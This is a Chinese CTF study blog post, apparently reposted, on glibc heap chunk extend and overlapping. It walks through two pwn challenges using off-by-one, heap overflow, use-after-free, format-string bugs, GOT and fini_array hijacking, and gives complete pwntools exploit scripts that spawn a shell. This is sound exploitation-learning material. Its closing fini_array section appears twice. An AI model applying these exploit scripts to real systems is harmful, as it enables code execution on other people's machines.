堆学习笔记-chunk overlapping

CTF-wiki真是太好一学习网站了。

原文链接:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping/#_1

Chunk Extend

实现条件

要实现chunk extend需要满足的条件:有堆漏洞,并且该漏洞可以修改chunk header里的数据。

实现原理

原理大概就是:

①:ptmalloc通过chunk header里面的prev_size和size来对前后堆块进行定位。

②:ptmalloc通过查看下一个堆的prev_inuse值来判断该chunk是否被使用。(不能通过prev_size来判断,因为虽然**”该chunk为空时,下一个堆块的pre_size会记录该chunk的大小。“**但是不能判断pre_size里记录的数据到底是上一个chunk的size还是上一个chunk的末尾数据)

因此我们如果能控制chunk header里面的数据,就可以导致chunk overlapping,可以控制chunk里面的内容,如果可以控制的chunk内容范围里存在指针等,就可以修改指针值达到任意地址读写或者控制程序流程。

实现步骤

个人笔记:①:fastbin由于追求效率,安全检验机制机制较弱,free时找到fastbin链表中符合大小的堆块就直接加入了,不会检测pre_insue的值。同时,物理地址相邻的fastbin不会合并。

​ ②:fastbin的最大使用范围为0x70,若不属于fastbin,在合并时会与topchunk合并。因此free的堆块必须和top chunk中间需要有一个小堆块将这两者隔开。

​ ③:通过extend前向overlapping,利用的是unlink机制,修改free掉的堆块的prev_insue值和prev_size值即可。

具体见上文中链接。

例题一

链接:https://pan.baidu.com/s/1gJCCP81xegAFZGPs7hJVRw
提取码:F1re

很友好的一道题,题目是常见的菜单。

checksec一下:

10

gdb调试后还原堆结构体:

1

  • 功能一:create_heap:在选择创造堆块的功能时,系统会先自动分配了0x20的内存,拿来存放结构体。然后可以分配用户输入的大小的堆。

  • 功能二:edit_heap:能修改堆块的content值,查看read_input函数后发现存在off-by-one漏洞,可以通过该漏洞在一定条件下覆盖下一个堆块的size值。

  • 功能三:show_heap:将content size的值和content打印出来。

  • 功能四:delete_heap:先free掉我们的content部分,然后free掉系统帮我们自动申请的struct部分,最后将堆指针置为零。

基本思路

该题满足了实现chunk-extend的两个条件。因此我的基本思路是:

①:创建两个堆,利用edit_heap函数的off-by-one漏洞修改第一个堆的content值,然后覆盖修改第二个堆的chunk header里面的size值。

②:通过delete_heap函数free掉第二个堆,再通过create_heap函数重新申请回来,造成chunk-overlapping,即可使chunk header里的指针域处于可修改的content域中,可控制指针,达到任意地址跳转和读写。

③:改写free_got成system函数地址,并在free的参数里放置“/bin/sh",最后利用delete_heap函数调用free函数实现get shell。

实现步骤①:

这是正常创建两个堆后的内存图,content size均为0x10.

2

由于我们能输入到content里面的数据是content size+1个,因此我们最多只能覆盖到0x6032d0的第一个字节,也就是覆盖到第二个堆块的prev_size字节。但我们知道,前一个堆不为空的时候,该堆的prev_size是不起作用的,置为0,而此时该堆的prev_size是可以拿来储存物理相邻的前一个堆的数据的(该机制被称为chunk 的空间复用)。且根据堆分配机制,用户请求的字节是拿来储存数据的,若我们一开始给heap1请求0x18的内存,由于chunk空间复用的关系,系统只会多分配0x10的内存给heap1,而由于edit_heap函数里的:

read_input(*((void **)*(&heaparray + v1) + 1), *(_QWORD *)*(&heaparray + v1) + 1LL);

因此我们可以读入0x19个字符,此时就可以覆盖到heap2的size字段。

实操:

先定义基本操作函数:

def create(size,content):
    r.recvuntil(b":")
    r.sendline(b'1')
    r.recvuntil(b"Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil(b"Content of heap:")
    r.sendline(content)

def edit(index,content):
    r.recvuntil(b":")
    r.sendline(b'2')
    r.recvuntil(b"Index :")
    r.sendline(str(index))
    r.recvuntil(b"Content of heap : ")
    r.sendline(content)

def show(id):
    r.recvuntil(b":")
    r.sendline(b'3')
    r.recvuntil(b"Index :")
    r.sendline(str(id))

def delete(id):
    r.recvuntil(b":")
    r.sendline(b'4')
    r.recvuntil(b"Index :")
    r.sendline(str(id))

分配heap1和和heap2,以及通过edit函数覆盖heap2 struct结构体里的size字段。

    create(0x18,b'aaaaaaaa')
    create(0x10,b'bbbbbbbb')
    pad = b'/bin/sh\0'+b'a'*0x10+b'\x41'
    edit(0,pad)

这里pad里面为什么要加入’/bin/sh\0’先埋一个伏笔。

此时查看一下堆:

3

可以看到heap2的size字段确实被覆盖掉了。

实现步骤②:

经过步骤一,heap2的struct部分已经被系统看做是一块0x40大小的堆块(称作s1,以便后面好讲述),content部分是一块0x20大小的堆块(称作s2)。这两个堆块的大小都属于fastbin的范围,由于fastbin由于追求效率,安全检验机制机制较弱,free时找到fastbin链表中符合大小的堆块就直接加入了,不会检测pre_insue的值。同时,物理地址相邻的fastbin不会合并,因此我们直接free掉heap2就会将s1与s2置入fastbin链表中(这道题我的环境置入了tcachebins链表,应该是由于我的本地libc高于它的版本导致的,不过tcachebins与fastbin性质相似。)

如图,已含有0x20与0x40大小的空闲堆。

4

同时,原堆处变成了这样:

5

此时我们create新的heap2时,系统会先自动分配一个0x20大小的结构体,这时tcachebins链表里0x20空闲的堆块就被拿回来继续用了,也就是上图中的2,若我们申请0x30大小,系统会返回0x40大小的堆块,而tcachebins链表中也有0x40空闲的堆块,也就是上图中的1。(注意,申请相同大小才能从fastbin或者tcachebins中直接取堆块,因此申请0x30是有讲究的)。这样我们就实现了原来的struct部分拿来充当content,而原来的content部分拿来充当struct。而我们能够输入0x31大小的数据,足够覆盖到新struct部分的指针处了。而edit_heap函数可以改变指针所指地方的内容,show_heap又可输出指针所指地方的内容。因此我们就实现了任意地址读写的功能。

同时由于edit_heap函数里读入字符串长度依旧由struct部分里的content size决定:

read_input(*((void **)*(&heaparray + v1) + 1), *(_QWORD *)*(&heaparray + v1) + 1LL);

所以新struct里的content size还是得写入0x30,。)

同时这道题没有开启FULL RELRO,因此可以改写函数GOT表。最终我们改写free函数GOT表后,调用delete_heap函数,第一个free里的参数是:content里面的值,故我们之前在heap1的content里布置了’/bin/sh\0’,其中‘\0’拿来截断,伏笔消除。

free(*((void **)*(&heaparray + v1) + 1))

exp:

from pwn import *
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/heapcreator')
elf = ELF('/mnt/hgfs/ubuntu/heapcreator')
libc = ELF('/mnt/hgfs/ubuntu/libc.so.6')
r = process(['/mnt/hgfs/ubuntu/heapcreator'],env={
    
    "LD_PRELOAD":"./libc.so.6"})

def create(size,content):
    r.recvuntil(b":")
    r.sendline(b'1')
    r.recvuntil(b"Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil(b"Content of heap:")
    r.sendline(content)

def edit(index,content):
    r.recvuntil(b":")
    r.sendline(b'2')
    r.recvuntil(b"Index :")
    r.sendline(str(index))
    r.recvuntil(b"Content of heap : ")
    r.sendline(content)

def show(id):
    r.recvuntil(b":")
    r.sendline(b'3')
    r.recvuntil(b"Index :")
    r.sendline(str(id))

def delete(id):
    r.recvuntil(b":")
    r.sendline(b'4')
    r.recvuntil(b"Index :")
    r.sendline(str(id))

def main():
    free_got=elf.got["free"]
    print(hex(free_got))
    create(0x18,b'aaaaaaaa')
    create(0x10,b'bbbbbbbb')
    pad = b'/bin/sh\0'+b'a'*0x10+b'\x41'
    edit(0,pad)
    delete(1)
    gdb.attach(r)
    pause()
    write_free_got = b'a'*0x20+p64(0x30)+p64(free_got)
    create(0x30,write_free_got)
    show(1)
    r.recvuntil("Content : ")
    free_addr = u64(r.recvuntil("\n")[:-1].ljust(8,b'\0'))
    r.recvuntil("Done !")
    print(hex(free_addr))
    libc_base = free_addr-libc.sym['free']
    system_addr = libc_base+libc.sym['system']
    edit_free_got = p64(system_addr)
    edit(1,edit_free_got)
    delete(0)
    r.interactive()
    # gdb.attach(r)
    # pause()
    


main()

例题二:

链接:https://pan.baidu.com/s/1DgcjxvEG33CsZMqIJeH5tw
提取码:F1re

题目是一个订书系统。定义了三个堆块,book1的堆块,book2的堆块,dest的堆块以及最后储存所有订书信息的堆块v5。

checksec一下

11

实现了功能:

①:修改book1和book2的堆块里的内容。

②:删除某一个订单。

③:结束订书,打印订单结果。

因为我写这个博客写了好几天,因此这里面gdb调试的地址不太相同。

漏洞函数

堆溢出

6

函数只要不键入回车就不会停止输入,有任意长度的堆溢出漏洞。

UAF

7

函数free堆块后没有将堆指针置为NULL。存在UAF漏洞。

格式化字符串漏洞

8

以及函数退出前有一个格式化字符串漏洞。

奇怪的字符输入长度

9

按理来说只用读入一个字符即可,在程序开了canary保护下能读入这么多字符可能存在伏笔。

思路分析

堆块里没有指针可以让我们修改,因此我们只能通过格式化字符串漏洞控制程序流程,控制dest里面的内容来实现篡改返回地址或者函数GOT表等。而dest里的内容本是固定的"Your order is submitted!\n",因此我们需要用前两个漏洞来实现对格式化字符串漏洞的利用。

我的最初想法通过堆溢出直接覆盖dest的值。后来发现:

case '1':
        puts("Enter first order:");
        sub_400876(v6);
        strcpy(dest, "Your order is submitted!\n");

对dest的赋值处于堆溢出漏洞之后,也就是说我们用堆溢出的方式无法覆盖改写dest里的内容。既然无法通过堆溢出,就只剩利用submit功能里的strcpy与strcat函数了。

那我们的步骤是:

①:适当计算后控制dest里的内容,第一次利用格式化字符串漏洞泄露出libc基址和劫持程序返回地址(修改fini_array[0])。

关于fini_array的介绍放在文章末尾。

通过覆盖book2的堆块size字段为0x151,free book2后执行submit函数,可达到chunk extend和chunk overlapping的目的。可以让v5堆块(储存所有信息的堆块)与原book2和dest堆块重合。然后通过strcat和strcpy操作就可以达到控制dest内容的目的。

②第二次利用格式化字符串漏洞修改返回地址为one_gadget地址。(由于main函数返回后没有调用任意函数,修改函数GOT表无法达到getshell的目的)

具体实现:

计算一下如何往book1和book2堆块里填充内容才能在dest里构造出合理的格式化字符串。

12

实现chunk overlapping(还没有执行submit函数)我们的堆分布是这样的:

13

由Submit函数:

  strcpy(a1, "Order 1: ");
  v3 = strlen(a2);
  strncat(a1, a2, v3);
  strcat(a1, "\nOrder 2: ");
  v4 = strlen(a3);
  strncat(a1, a3, v4);
  *(_WORD *)&a1[strlen(a1)] = 10;

执行submit函数后:

新申请的堆块v5里的内容是:

Order 1: + chunk1 + \n + Order 2: + chunk2 + \n

而chunk2已经被delete掉了,故复制chunk2时其实复制的是Order 1: +chunk1 + \n + Order 2:

所以v5里的内容应该是:

Order 1: + chunk1 + \n + Order 2: + Order 1: + chunk1 + \n + Order 2:

所以如果我们想让chunk1的内容刚好为dest的起点,就需要满足:

size(Order 1: + chunk1 + \n + Order 2: + Order 1:)==0x90
size(chunk1)==0x90-28=0x74

所以我们往chunk1里填入内容时,最后应该填入0x80-0x74个’\0’字符。

这样就能达到chunk1的内容刚好在dest的起点。

构造第一次fmt

第一次的目的有:

  • 修改fini_array[0]为main函数地址

  • 泄露libc_base

  • 泄露一个栈地址(作用待会说)

首先去修改fini_array[0],由于格式化字符串在堆上,本来应该栈迁移到堆上利用格式化字符串漏洞,但是之前说到奇怪的菜单输入长度就起作用了,利用奇怪的输入长度我们可以往栈上写入fini_array[0]的地址。

查看一下fini_array[0]处的值:

pwndbg> x/x 0x6011b8
0x6011b8:	0x00400830

而main函数地址为 0x4003a9,因此我们只需要改后两位的地址。

同时找到libc_start_main_240的偏移为31,顺便把该地址泄露出来。

最后,当我们成功执行第一次fmt后,程序会重新进入main函数,这时的main函数返回地址会与第一次执行的main函数有一个固定的偏移,我们最终的目的是改写第二次执行的main函数返回地址为one_gadget地址,因此我们需要获取第二次main函数的返回地址,因此需要找栈上一个不变的地址,借此算出第二次main函数返回地址。

gdb断点打在printf上,在第一次printf(dest)时,我们调试后发现,栈上储存了一个栈上的地址,且两地址间固定偏移为0xf0:

17

该偏移为28。

同时我们继续运行到第二次printf(dest)时,单步n执行下去,找到第二次main函数的返回地址:

18

0x7fffd740e4c0-0x7fffd740e2d8=0x1e8

所以储存第二次main函数返回地址的栈地址我们也找到了。

fini_array=0x6011b8 #0x400830
main_addr=0x400a39
content1=b'%'+str(0xa39).encode()+b'c%13$hn'
content1+=b'-%31$p'+b'-%28$p'
content1=content1.ljust(0x74,b'a')
content1=content1.ljust(0x88,b'\0')
content1+=p64(0x151)

第一次fmt执行:

delete(2)
edit(1,content1)
payload = b'fffffff'+p64(fini_array)
submit(payload)

处理接受到的地址:

r.recvuntil("-")
r.recvuntil("-")
r.recvuntil("-")
r.recvuntil("-")
r.recvuntil("-")
libc_start_main_240=int(r.recv(14),16)
libc_base=libc_start_main_240-0x20830#调试计算libc_start_main_240与libc_base之间固定偏移为0x20830
print("libc_base:"+hex(libc_base))
r.recvuntil("-")
stack_addr = int(r.recv(14),16)
print("stack_addr: "+hex(stack_addr))
one_gadget = libc_base+0x45216
ret_addr = stack_addr-0x1e8
print("ret_addr: "+hex(ret_addr))

可以看到我们确实控制程序流程到执行第二次main函数

19

第二次执行fmt

这次的任务只有一个了,改返回地址!前面我们已经获取到了ret_addr,同样通过奇怪的菜单输入长度弄到栈上后,通过调试我们发现后3个字节都不同,因此我们需要两次$hn修改。

往栈上写ret_addr,获取one_gadget低四位的值:

payload2=b'fffffff'+p64(ret_addr)+p64(ret_addr+2)
one_gadget = libc_base+0x45216
low_byte=one_gadget&0xffff
high_byte=(one_gadget>>16)&0xffff

然后开改!这里由于要使用两次$hn,因此需要考虑前后字节数大小关系的问题,有两种解决方法:

①写一个if-else语句,调整low_byte和high_byte的修改顺序。

②像我一样,碰运气让high_byte大于low_byte就行(多运行一两次就行啦)

content2=b'%'+str(low_byte).encode()+b'c'+b'%13$hn'+b'%'+str(high_byte-low_byte).encode()+b'c'+b'%14$hn'
content2=content2.ljust(0x74,b'a')
content2=content2.ljust(0x80,b'\0')
content2=content2+b'\0'*8+p64(0x151)
delete(2)
edit(1,content2)
submit(payload2)
r.interactive()

最后成功getshell!

fini_array

  • main函数并不是程序的起点,也不是程序的终点

  • 14

  • 图片出处:http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html

  • fini_array是libc_csu_fini函数里面的一个列表,当函数退出时会调用这个数组里面储存的一个或者两个函数,然后程序才会真正退出。

  • 静态链接程序:fini_array数组大小为0x10,储存了两个地址,分别是fini_array[0]和fini_array[1],退出程序时先执行fini_array[1]再执行fini_array[0],因此在静态程序中,我们可以令fini_array[1]的地址为一个地址P,然后再令fini_array[0]的地址为libc_csu_fini的地址,这样就能达到循环执行地址p处的代码,直到fini_array[0]被覆盖为其他值。

  • 动态链接程序:fini_array数组大小为0x8,只储存了一个fini_array[0],因此对fini_array的劫持只能利用一次,不能像静态链接程序那样无限循环使用

如何找fini_array?

1.64位动态链接程序:

​ ①查看符号表:在gdb中用elf命令,.fini_array开始的地址就是fini_array[0]的地址:

15

​ ②在IDA里ctrl+s寻找fini_array:

16

2.64位静态链接程序:

​ 64位静态链接程序是没有符号表的,寻找fini_array的方法:

​ (1)readelf -h programname查看程序入口地址,gdb将断点打在程序入口地址处。

​ (2)然后找到类似于如下的代码片段:

mov     r8, offset sub_403B20 ; fini

​ (3)用x/i命令去查看0x403B20地址处。像如下这种即为fini_array的地址。

lea    rax,[rip+0xb24f8]#fini_array[0]
lea    rbp,[rip+0xb2501]#fini_array[1]

1.64位动态链接程序:

​ ①查看符号表:在gdb中用elf命令,.fini_array开始的地址就是fini_array[0]的地址:

​ [外链图片转存中…(img-JbHuTeGQ-1636893182321)]

​ ②在IDA里ctrl+s寻找fini_array:

​ [外链图片转存中…(img-1N96Ty4N-1636893182321)]

2.64位静态链接程序:

​ 64位静态链接程序是没有符号表的,寻找fini_array的方法:

​ (1)readelf -h programname查看程序入口地址,gdb将断点打在程序入口地址处。

​ (2)然后找到类似于如下的代码片段:

mov     r8, offset sub_403B20 ; fini

​ (3)用x/i命令去查看0x403B20地址处。像如下这种即为fini_array的地址。

lea    rax,[rip+0xb24f8]#fini_array[0]
lea    rbp,[rip+0xb2501]#fini_array[1]

猜你喜欢

转载自blog.csdn.net/Invin_cible/article/details/121322899